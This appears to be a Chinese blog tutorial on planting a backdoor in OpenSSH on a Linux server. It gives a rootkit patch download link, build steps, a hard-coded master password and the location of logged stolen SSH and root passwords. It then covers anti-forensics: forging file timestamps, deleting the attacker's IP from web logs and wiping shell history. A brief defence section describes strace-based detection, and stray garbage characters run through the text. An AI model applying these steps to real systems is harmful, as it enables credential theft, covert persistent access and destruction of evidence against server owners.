linux: OpenSSH后門獲取root密碼及防范

相對于Windows操作系統(tǒng)憋飞,Linux操作系統(tǒng)的密碼較難獲取。而很多Linux服務器都配置了Openssh服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法乍丈,截取并保存其SSH登錄賬號密碼,甚至可以留一個隱形的后門把将,達到長期控制linux服務器的目的轻专。在很多Linux系統(tǒng)被入侵后都會在系統(tǒng)中留后門,使用OpenSSH留后門是入侵者的慣用方式之一察蹲,OpenSSh后門比較難于檢測请垛,本文就如何添加OpenSSH后門以及防范后門添加進行探討。

1.1OpenSSH簡介

OpenSSH是SSH(Secure SHell)協(xié)議的免費開源實現(xiàn)洽议,很多人誤認OpenSSH為與OpenSSL有關聯(lián)宗收,但實際上這兩個計劃的有不同的目的,不同的發(fā)展團隊亚兄,名稱相近只是因為兩者有同樣的軟件發(fā)展目標──提供開放源代碼的加密通訊軟件混稽。OpenSSH是OpenBSD的子計劃其官方網(wǎng)站地址為http://www.openssh.com/,OpenSSH各個版本可以到其官網(wǎng)下載审胚,推薦一個下載地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/匈勋。SSH協(xié)議族可以用來進行遠程控制,或在計算機之間傳送文件膳叨。而實現(xiàn)此功能的傳統(tǒng)方式洽洁,如telnet(終端仿真協(xié)議)、rcp懒鉴、ftp诡挂、rlogin、rsh都是極為不安全的临谱,并且會使用明文傳送密碼璃俗。OpenSSH提供了服務端后臺程序和客戶端工具,用來加密遠程控件和文件傳輸過程中的數(shù)據(jù)悉默,并由此來代替原來的類似服務城豁。OpenSSH是使用SSH透過計算機網(wǎng)絡加密通訊的實現(xiàn)。它是取代由SSH Communications Security所提供的商用版本的開放源代碼方案抄课。在OpenSSH服務中sshd是一個典型的獨立守護進程唱星,OpenSSH服務可以通過/etc/ssh/sshd_config文件進行配置。OpenSSH 支持 SSH 協(xié)議的版本 1.3跟磨、1.5间聊、和 2。自從 OpenSSH 的版本2.9以來抵拘,默認的協(xié)議是版本2哎榴。

1.2準備工作

(1)下載openssh-5.9p1.tar.gz參考下載地址:
http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
(2)下載后門文件http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
(3)Linux虛擬機Centos6.4版本
(4)查看SSH當前版本信息

SSH后門目前網(wǎng)上支持版本為5.9以下,因此如果顯示信息中的版本為5.9以下才能使用,如圖1所示尚蝌,使用“ssh –V”命令獲取的OpenSSH版本為“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”迎变。對高于5.9版本未做測試,理論上是可行的飘言,因為在patch中可以直接修改banner衣形。特別需要注意,這個版本號一定要記錄下來姿鸿,在編譯時將該信息進行偽裝谆吴。

(5)備份SSH原始配置文件
如圖2所示,將ssh_config和sshd_config分別備份為ssh_config.old和sshd_config.old般妙。在Linux終端中分別執(zhí)行文件備份命令:

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

(6)解壓ssh后門
將sshbd.tgz下載到本地并解壓到本地纪铺,如圖3所示相速,執(zhí)行以下命令:

tar zxvf sshbd.tgz
cd openssh

使用官方openssh-5.9p1進行安裝后門的可以執(zhí)行以下命令

tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
1.3設置ssh后門的登錄密碼及其密碼記錄位置

在openssh目錄中找到includes.h碟渺,使用“vi includes.h”修改define _SECRET_PASSWD為自己的登錄密碼,如圖4所示突诬,默認密碼記錄日志文件保存在/usr/local/share/0wn目錄下的slog和clog文件苫拍。例如定義密碼為“995430aaa”

define _SECRET_PASSWD " 995430aaa"
1.4安裝并編譯

1.進行編譯和安裝

./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install

openssh-5.9p1需要用下面這個命令進行配置:

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

在編譯過程中可能會出現(xiàn)“configure: error: *** zlib.h missing – please install first or check config.log”錯誤,可以執(zhí)行“yum install zlib-devel和yum install openssl openssl-devel”安裝后再次編譯即可旺隙。

2.重啟SSHD服務
執(zhí)行“/etc/init.d/sshd restart”命令重啟sshd服務绒极。

3.還原新配置文件為舊配置文件時間
執(zhí)行以下命令,將ssh_config和sshd_config修改時間跟ssh_config.old和sshd_config.old一致蔬捷。

touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

mtime(modify time):最后一次修改文件或目錄的時間
ctime(chang time) :最后一次改變文件或目錄(改變的是原數(shù)據(jù)即:屬性)的時間
如:記錄該文件的inode節(jié)點被修改的時間垄提。touch命令除了-d和-t選項外都會改變該時間。而且chmod,chown等命令也能改變該值周拐。
atime(access time)::最后一次訪問文件或目錄的時間
ls -l file : 查看文件修改時間
ls -lc file: 查看文件狀態(tài)改動時間
ls -lu file: 查看文件訪問時間
stat file 文件時間三個屬性

1.5登入后門并查看記錄的密碼文件
使用“ssh -l root IP”命令登錄服務器铡俐,例如“ssh -l root 192.168.52.175”登錄,可以使用root的密碼妥粟,也可以使用后門設置的密碼“995430aaa”進行登錄审丘。然后到/usr/local/share/0wn目錄查看其記錄的密碼日志文件clog和slog,如圖5所示勾给,可以看到ssh登錄和本地root帳號登錄的密碼滩报。

1.6 清除日志

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
1.7OpenSSH后門防范方法

(1)重裝openssh軟件,更新至最新版本7.2
(2)更換ssh默認登錄端口22為其它端口播急。
(3)在iptable中添加ssh訪問策略脓钾。
(4)查看命令歷史記錄,對可疑文件進行清理桩警,在有條件的情況下可训,可重做系統(tǒng)。
(5)修改服務器所有密碼為新的強健密碼。
(6)利用strace找出ssh后門沉噩,首先利用命令“ps aux | grep sshd”獲取可疑進程PID捺宗,使用“strace -o aa -ff -p PID”進行跟蹤,然后登錄ssh川蒙,成功登錄之后蚜厉,在當前目錄,生成了strace的輸出畜眨。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看記錄密碼打開文件昼牛。在上面命令中過濾掉錯誤信息和/dev/null信息,以及denied信息康聂,并且找讀寫模式打開(WR)的贰健,因為要把記錄的密碼寫入文件,肯定要是以寫方式打開的文件恬汁,可以可以找到以讀寫方式記錄在文件中的ssh后門密碼文件位置伶椿,通過該方法來判斷是否存在ssh后門。當然也有不記錄密碼氓侧,而僅僅留一個萬能ssh后門脊另。

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市约巷,隨后出現(xiàn)的幾起案子偎痛,更是在濱河造成了極大的恐慌,老刑警劉巖独郎,帶你破解...
    沈念sama閱讀 217,185評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件踩麦,死亡現(xiàn)場離奇詭異,居然都是意外死亡氓癌,警方通過查閱死者的電腦和手機谓谦,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,652評論 3 393
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來顽铸,“玉大人茁计,你說我怎么就攤上這事∥剿桑” “怎么了星压?”我有些...
    開封第一講書人閱讀 163,524評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長鬼譬。 經(jīng)常有香客問我娜膘,道長,這世上最難降的妖魔是什么优质? 我笑而不...
    開封第一講書人閱讀 58,339評論 1 293
  • 正文 為了忘掉前任竣贪,我火速辦了婚禮军洼,結果婚禮上,老公的妹妹穿的比我還像新娘演怎。我一直安慰自己匕争,他們只是感情好,可當我...
    茶點故事閱讀 67,387評論 6 391
  • 文/花漫 我一把揭開白布爷耀。 她就那樣靜靜地躺著甘桑,像睡著了一般。 火紅的嫁衣襯著肌膚如雪歹叮。 梳的紋絲不亂的頭發(fā)上跑杭,一...
    開封第一講書人閱讀 51,287評論 1 301
  • 那天,我揣著相機與錄音咆耿,去河邊找鬼德谅。 笑死,一個胖子當著我的面吹牛萨螺,可吹牛的內容都是我干的窄做。 我是一名探鬼主播,決...
    沈念sama閱讀 40,130評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼屑迂,長吁一口氣:“原來是場噩夢啊……” “哼浸策!你這毒婦竟也來了?” 一聲冷哼從身側響起惹盼,我...
    開封第一講書人閱讀 38,985評論 0 275
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎惫确,沒想到半個月后手报,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,420評論 1 313
  • 正文 獨居荒郊野嶺守林人離奇死亡改化,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,617評論 3 334
  • 正文 我和宋清朗相戀三年掩蛤,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片陈肛。...
    茶點故事閱讀 39,779評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡揍鸟,死狀恐怖,靈堂內的尸體忽然破棺而出句旱,到底是詐尸還是另有隱情阳藻,我是刑警寧澤,帶...
    沈念sama閱讀 35,477評論 5 345
  • 正文 年R本政府宣布谈撒,位于F島的核電站腥泥,受9級特大地震影響,放射性物質發(fā)生泄漏啃匿。R本人自食惡果不足惜蛔外,卻給世界環(huán)境...
    茶點故事閱讀 41,088評論 3 328
  • 文/蒙蒙 一蛆楞、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧夹厌,春花似錦豹爹、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,716評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至崖技,卻和暖如春逻住,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背迎献。 一陣腳步聲響...
    開封第一講書人閱讀 32,857評論 1 269
  • 我被黑心中介騙來泰國打工瞎访, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人吁恍。 一個月前我還...
    沈念sama閱讀 47,876評論 2 370
  • 正文 我出身青樓扒秸,卻偏偏與公主長得像,于是被迫代替她去往敵國和親冀瓦。 傳聞我的和親對象是個殘疾皇子伴奥,可洞房花燭夜當晚...
    茶點故事閱讀 44,700評論 2 354

推薦閱讀更多精彩內容

  • SSH全稱Secure SHell,顧名思義就是非常安全的shell的意思翼闽,SSH協(xié)議是IETF(Internet...
    StarShift閱讀 2,526評論 0 7
  • linux資料總章2.1 1.0寫的不好抱歉 但是2.0已經(jīng)改了很多 但是錯誤還是無法避免 以后資料會慢慢更新 大...
    數(shù)據(jù)革命閱讀 12,161評論 2 33
  • Spring Cloud為開發(fā)人員提供了快速構建分布式系統(tǒng)中一些常見模式的工具(例如配置管理拾徙,服務發(fā)現(xiàn),斷路器感局,智...
    卡卡羅2017閱讀 134,654評論 18 139
  • sshd_config配置詳解 重啟SSH服務 service sshd restart 名稱 sshd_conf...
    一指彈風閱讀 23,051評論 0 4
  • 總有一段往事會出現(xiàn)在夢中询微,以曾經(jīng)想過的最美好的狀態(tài)崖瞭,比如和第一個愛的人在一起,比如實現(xiàn)曾經(jīng)最想要的幸福撑毛。 年少懵懂...
    赤苼閱讀 388評論 0 1